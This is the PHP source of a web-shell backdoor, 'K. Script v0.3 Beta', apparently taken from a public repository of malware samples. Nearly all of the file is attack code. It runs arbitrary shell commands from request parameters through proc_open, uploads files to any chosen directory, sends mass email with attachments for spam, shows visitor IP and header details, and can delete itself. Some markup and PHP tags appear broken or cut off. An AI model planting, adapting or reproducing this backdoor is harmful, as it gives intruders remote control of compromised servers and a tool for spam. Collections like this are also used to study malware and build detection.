MalwareSourceCode/PHP/Backdoor.PHP.KScr.a at main · killerdevildog11/MalwareSourceCode

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<?php

$Title = "K. Script v0.3 Beta By $alla$$: ";

$GraphicHeader = '<meta http-equiv="Content-Type" content="text/html; charset=windows-1257">

body{ background-color: #F6F6F6; text-align: center; width: 100%; padding: 0px; margin: 0px; }

#unCenter{ width: 300px; margin-left: auto; margin-right: auto; text-align: left; }

#unCenterShell{ width: 600px; margin-left: auto; margin-right: auto; text-align: left; }

#unCenterMailer{ width: 700px; margin-left: auto; margin-right: auto; text-align: left; }

#unCenterProxy{ width: 750px; margin-left: auto; margin-right: auto; }

#unCenterHeader{ width: 800px; margin-left: auto; margin-right: auto; text-align: center; }

.Marged{ margin-top: 20px; }

.Input{ border: 1px solid #DADADA; }

.Table{ border: 1px solid #DADADA; background-color: White; padding: 10px; font: 11px Tahoma, Verdana, sans-serif; line-height: 17px; color: Gray; }

.TableHeader{ border: 1px solid #DADADA; background-color: White; padding: 2px; font: 11px Tahoma, Verdana, sans-serif; line-height: 17px; color: Gray; }

a{ text-decoration: none; color: #003473; }

a:hover{ text-decoration: none; color: #F5822B;}

img{ border: 0px; }

h1{ font-size: 14px; font-weight: bold; padding: 0px; margin-bottom: 7px; }

.Black{ color: Gray; font: 11px Tahoma, Verdana, sans-serif; }

.BlackRealy{ color: Black; font: 12px Tahoma, Verdana, sans-serif; }

</style>';

$SiteHeader = '</head><body><br>

<div><hr width="90%" size="1.5px" noshade="noshade"></div>';

$GraphicFooter = '<div><br><hr width="90%" size="1.5px" noshade="noshade"></div>

<div align="center" class="black">[<a href="?ProxyDetect">ProxyDetect</a>]

<span class="BlackRealy"> | </span>[<a href="?Uploader">FileUploader</a>]

<span class="BlackRealy"> | </span>[<a href="?PHPShell">PHPShell</a>]

<span class="BlackRealy"> | </span>[<a href="?PortCheck">PortCheck</a>]

<span class="BlackRealy"> | </span>[<a href="?Mailer">MassMailer</a>]

<span class="BlackRealy"> | </span>[<a href="?DeleteMe">Delete Me</a>]</div>

</body></html>';

$Slash = '/';

if ($_SERVER['QUERY_STRING'] == '') header("Location: http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?MainPage");

if(isset($_GET['PHPShell'])) {

$passwd = array();

$aliases = array();

session_start();

if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {

$_SESSION['cwd'] = getcwd();

$_SESSION['history'] = array();

$_SESSION['output'] = '';

}

if (!empty($_REQUEST['command'])) {

if (get_magic_quotes_gpc()) {

$_REQUEST['command'] = stripslashes($_REQUEST['command']);

}

if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)

unset($_SESSION['history'][$i]);

array_unshift($_SESSION['history'], $_REQUEST['command']);

$_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n";

if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {

$_SESSION['cwd'] = dirname(__FILE__);

} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) {

if ($regs[1][0] == '/') {

$new_dir = $regs[1];

} else {

$new_dir = $_SESSION['cwd'] . '/' . $regs[1];

}

while (strpos($new_dir, '/./') !== false)

$new_dir = str_replace('/./', '/', $new_dir);

while (strpos($new_dir, '//') !== false)

$new_dir = str_replace('//', '/', $new_dir);

while (preg_match('|/\.\.(?!\.)|', $new_dir))

$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);

if ($new_dir == '') $new_dir = '/';

if (@chdir($new_dir)) {

$_SESSION['cwd'] = $new_dir;

} else {

$_SESSION['output'] .= "cd: could not change to: $new_dir\n";

}

} else {

chdir($_SESSION['cwd']);

$length = strcspn($_REQUEST['command'], " \t");

$token = substr($_REQUEST['command'], 0, $length);

if (isset($aliases[$token]))

$_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);

$p = proc_open($_REQUEST['command'],

array(1 => array('pipe', 'w'),

2 => array('pipe', 'w')),

$io);

while (!feof($io[1])) {

$_SESSION['output'] .= htmlspecialchars(fgets($io[1]),

ENT_COMPAT, 'UTF-8');

}

while (!feof($io[2])) {

$_SESSION['output'] .= htmlspecialchars(fgets($io[2]),

ENT_COMPAT, 'UTF-8');

}

fclose($io[1]);

fclose($io[2]);

proc_close($p);

}

if (empty($_SESSION['history'])) {

$js_command_hist = '""';

} else {

$escaped = array_map('addslashes', $_SESSION['history']);

$js_command_hist = '"", "' . implode('", "', $escaped) . '"';

}

echo '<xml version="1.0" encoding="UTF-8">';

echo '<html><head><title>'.$Title.' PHPShell</title>';

echo $GraphicHeader;

var current_line = 0;

var command_hist = new Array(<?php echo $js_command_hist ?>);

var last = 0;

function key(e) {

if (!e) var e = window.event;

if (e.keyCode == 38 && current_line < command_hist.length-1) {

command_hist[current_line] = document.shell.command.value;

current_line++;

document.shell.command.value = command_hist[current_line];

}

if (e.keyCode == 40 && current_line > 0) {

command_hist[current_line] = document.shell.command.value;

current_line--;

document.shell.command.value = command_hist[current_line];

}

function init() {

document.shell.setAttribute("autocomplete", "off");

document.shell.output.scrollTop = document.shell.output.scrollHeight;

document.shell.command.focus();

}

</script>

<? echo $SiteHeader; ?>

<?php

error_reporting (E_ALL);

if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 10;

<center><div>Current Directory: <?php echo $_SESSION['cwd'] ?></div></center>

</div></div></div>

<div><form name="shell" action="<?php echo $_SERVER['PHP_SELF'] .'?PHPShell'?>" method="post"></div>

<?php

$lines = substr_count($_SESSION['output'], "\n");

$padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));

echo rtrim($padding . $_SESSION['output']);

</textarea></div>

</center></div></div></div>

</form></center></div></div></div>

<? echo $GraphicFooter; }

if(isset($_GET['Uploader'])){

echo '<html><head><title>'.$Title.' Uploader</title>';

echo $GraphicHeader; echo $SiteHeader;

if(isset($_POST['upl_files'])){

echo '<div id="unCenter"><div class="Marged"><div class="Table">

<div>Uploaded Files:<br></div>';

//print_r($_FILES['file_n']);

$up_mas = $_FILES['file_n'];

$mas_name = array();

$mas_tmp = array();

for($i=0; $i<10; $i++){

if(!empty($up_mas['name'][$i])){

$j = count($mas_name);

$mas_name[$j] = $up_mas['name'][$i];

$mas_tmp[$j] = $up_mas['tmp_name'][$i];

}

for($i=0; $i<count($mas_name); $i++){

$upl_file = $_POST['mas_dir'].$mas_name[$i];

if(move_uploaded_file($mas_tmp[$i], $upl_file)){

echo '<a href="'.$mas_name[$i].'">'.$mas_name[$i].'</a>,&nbsp';

}

echo "</div></div></div>";

<div>Upload Files to:

<? echo'<input class="input" type="text" name="mas_dir" value='.getcwd().$Slash.' size="40"><br><br>'; ?>

<? for($i=0; $i<10; $i++){ echo '<div><input class="Input" type="file" name="file_n[]"></div>'; } ?>

</div><div><input type="reset" name="reset" value="Reset"> <input type="submit" name="upl_files" value="upload"></div>

</center></div></div></div>

<? echo $GraphicFooter; }

if(isset($_GET['MainPage'])){

echo '<html><head><title>'.$Title.'</title>';

echo $GraphicHeader; echo $SiteHeader;

print "<div id=unCenterHeader><div class=TableHeader>";

print((@ini_get('safe_mode'))?("<b>Safe Mode: <font color=green>ON</font><b>"):("<b>Safe Mode: <font color=red>OFF</font>"));

print "</b><span class=BlackRealy> | </span>";

print "<b>PHP version: <font color=green>".@phpversion()."</font></b>";

print "<span class=BlackRealy> | </span>";

print((@function_exists('curl_version'))?("<b>cURL: <font color=green>ON</font>"):("<b>cURL: <font color=red>OFF</font>"));

print "</b><span class=BlackRealy> | </span>";

if(@function_exists('mysql_connect')){ echo "<b>MySQL: <font color=green>ON</font>"; } else { echo "<b>MySQL: <font color=red>OFF</font>"; }

print "</b><span class=BlackRealy> | </span>";

if(@function_exists('mssql_connect')){ echo "<b>MSSQL: <font color=green>ON</font>"; } else { echo "<b>MSSQL: <font color=red>OFF</font>"; }

print "</b><span class=BlackRealy> | </span>";

if(@function_exists('pg_connect')){ echo "<b>PostgreSQL: <font color=green>ON</font>"; } else { echo "<b>PostgreSQL: <font color=red>OFF</font>";}

print "</b><span class=BlackRealy> | </span>";

if(@function_exists('ocilogon')){ echo "<b>Oracle: <font color=green>ON</font>"; } else { echo "<b>Oracle: <font color=red>OFF</font>"; }

print "</b></b></div></div>";

echo<<<MainPageGraphic

<div><a href="?ProxyDetect">ProxyDetect</a></div>

<div><a href="?Uploader">FileUploader</a></div>

<div><a href="?PHPShell">PHPShell</a></div>

<div><a href="?PortCheck">PortCheck</a></div>

<div><a href="?Mailer">MassMailer</a></div>

<div><a href="?DeleteMe">Delete me</a></div>

</center>

</div>

MainPageGraphic;

echo $GraphicFooter; }

if(isset($_GET['PortCheck'])) {

echo '<html><head><title>'.$Title.' PortCheck</title>';

echo $GraphicHeader; echo $SiteHeader;

echo "<div id=\"unCenter\"><div class=\"Marged\"><div class=\"Table\" style=\"padding-left: 20\">";

echo "<div align=\"center\">Under Reconstruction</div>";

echo "</div></div></div>";

echo $GraphicFooter;

}

if(isset($_GET['Mailer'])) {

echo '<html><head><title>'.$Title.' Mailer</title>';

echo $GraphicHeader;

echo $SiteHeader;

if(!$action) $action = "";

if ($action=="send"){

$message = urlencode($message);

$message = ereg_replace("%5C%22", "%22", $message);

$message = urldecode($message);

$message = stripslashes($message);

$subject = stripslashes($subject);

}

<form name="Mailer" method="post" action="<? echo $_SERVER['PHP_SELF'] . '?Mailer' ?>" enctype="multipart/form-data">

<div style="padding-left: 20px;">Your Email: <input class="input" type="text" name="from" value="<?=$from?>" size="20">

<div style="padding-left: 26px;">Reply-To: <input class="input" type="text" name="replyto" value="<?=$replyto?>" size="20">

<span style="padding-left: 123px;"></span>Attach File: <input class="input" type="file" name="file" size="20"></div>

<div style="padding-left: 33px;">Subject: <input class="input" type="text" name="subject" value="<?=$subject?>" size="90"></div>

</div>

<div align="left"><span style="padding-left: 4px;"></span>Letter:<span style="padding-left: 392px;"></span>Recipients:</div>

</div></div></div>

<div align="center"><input type="radio" name="contenttype" value="plain">Plain

<input type="radio" name="contenttype" value="html" checked>HTML

</div></div></div></form>

if ($action=="send"){

if (!$from && !$subject && !$message && !$emaillist){

echo '<div id="unCenter"><div class="Marged"><div class="Table"><center>

<div>Please complete all fields before sending your message.</div>

</center></div></div></div>';

echo $GraphicFooter;

exit;

}

$allemails = split("\n", $emaillist);

$numemails = count($allemails);

If ($file_name){

@copy($file, "./$file_name") or die("The file you are trying to upload couldn't be copied to the server");

$content = fread(fopen($file,"r"),filesize($file));

$content = chunk_split(base64_encode($content));

$uid = strtoupper(md5(uniqid(time())));

$name = basename($file);

}

echo '<div id="unCenter"><div class="Marged"><div class="Table"><center>';

$messid = "1140150615.28818";

for($x=0; $x<$numemails; $x++){

$to = $allemails[$x];

if ($to){

$to = ereg_replace(" ", "", $to);

$message = ereg_replace("&email&", $to, $message);

$subject = ereg_replace("&email&", $to, $subject);

print "Sending: [ $to ] ";

flush();

$header = "From: $realname <$from>\r\n";

$header .= "Reply-To: $replyto\r\n";

$header .= "MIME-Version: 1.0\r\n";

If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";

If ($file_name) $header .= "--$uid\r\n";

$header .= "Message-Id:<[email protected]>\r\n";

$header .= "Return-Path: <[email protected]>\r\n";

$header .= "Content-Type: text/$contenttype\r\n";

$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";

$header .= "$message\r\n";

If ($file_name) $header .= "--$uid\r\n";

If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";

If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";

If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";

If ($file_name) $header .= "$content\r\n";

If ($file_name) $header .= "--$uid--";

mail($to, $subject, "", $header);

print "........Success!<br>";

flush();

}

echo "</center></div></div></div>";

}

<? echo $GraphicFooter; } ?>

<? if(isset($_GET['DeleteMe'])){

echo '<html><head><title>'.$Title.' DeleteMe</title>';

echo $GraphicHeader; echo $SiteHeader;

$del = $_GET['del'];

if($del=="TRUE"){

$url = "http://" .$_SERVER['HTTP_HOST']. "/";

print "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0; URL= $url \">";

unlink('kscr.php');

}

<div style="font-size 10px: bold; font-weight: bold;">Delete Me?</div>

<br><div><a href="?DeleteMe&del=TRUE">Yes (Delete)</a><img src="" border="0" height="0" width="50"><a href="?MainPage">No (Go Home)</a></div>

</center></div></div></div>

<? echo $GraphicFooter; } ?>

<? if(isset($_GET['ProxyDetect'])){

echo $GraphicHeader; echo $SiteHeader;

echo '<html><head><title>'.$Title.' ProxyDetect</title>';

<div class="Menu" align=center><b><u>Your IP Address:</u></b><br><br></div>

$proxy = "";

$viaproxy = "";

if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) $proxy = TRUE;

if($proxy) $viaproxy = "Via Proxy";

$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);

$ip = getenv("REMOTE_ADDR");

if($host==$ip) $host = "N/A";

echo "<div align=center ><b>".$ip." (".$host.")</b>".$viaproxy."</div>";

<div class=Menu align=center><b><u>Your HTTP Headers:</u></b><br><br/></div>

if(!empty($_SERVER['HTTP_CONNECTION'])) echo "<li> <span style=\"color: Black;\">HTTP_CONNECTION: </span><b>".$_SERVER['HTTP_CONNECTION']."</b><br>";

if(!empty($_SERVER['HTTP_KEEP_ALIVE'])) echo "<li> <span style=\"color: Black;\">HTTP_KEEP_ALIVE: </span><b>".$_SERVER['HTTP_KEEP_ALIVE']."</b><br>";

if(!empty($_SERVER['HTTP_ACCEPT'])) echo "<li> <span style=\"color: Black;\">HTTP_ACCEPT: </span><b>".$_SERVER['HTTP_ACCEPT']."</b><br>";

if(!empty($_SERVER['HTTP_ACCEPT_CHARSET'])) echo "<li> <span style=\"color: Black;\">HTTP_ACCEPT_CHARSET: </span><b>".$_SERVER['HTTP_ACCEPT_CHARSET']."</b><br>";

if(!empty($_SERVER['HTTP_ACCEPT_ENCODING'])) echo "<li> <span style=\"color: Black;\">HTTP_ACCEPT_ENCODING: </span><b>".$_SERVER['HTTP_ACCEPT_ENCODING']."</b><br>";

if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) echo "<li> <span style=\"color: Black;\">HTTP_ACCEPT_LANGUAGE: </span><b>".$_SERVER['HTTP_ACCEPT_LANGUAGE']."</b><br>";

if(!empty($_SERVER['HTTP_HOST'])) echo "<li> <span style=\"color: Black;\">HTTP_HOST: </span><b>".$_SERVER['HTTP_HOST']."</b><br>";

if(!empty($_SERVER['HTTP_USER_AGENT'])) echo "<li> <span style=\"color: Black;\">HTTP_USER_AGENT: </span><b>".$_SERVER['HTTP_USER_AGENT']."</b><br>";

if($proxy) echo "<li> <span style=\"color: Black;\">HTTP_X_FORWARDED_FOR: </span><b>".$_SERVER['HTTP_X_FORWARDED_FOR']."</b><br>";

if (($proxy) && (!empty($_SERVER['HTTP_VIA']))){ echo "<li> <span style=\"color: Black;\">HTTP_VIA: </span><b>".$_SERVER['HTTP_VIA']."</b><br>"; }

</div></div></div></div>

<? echo $GraphicFooter; } exit;?>

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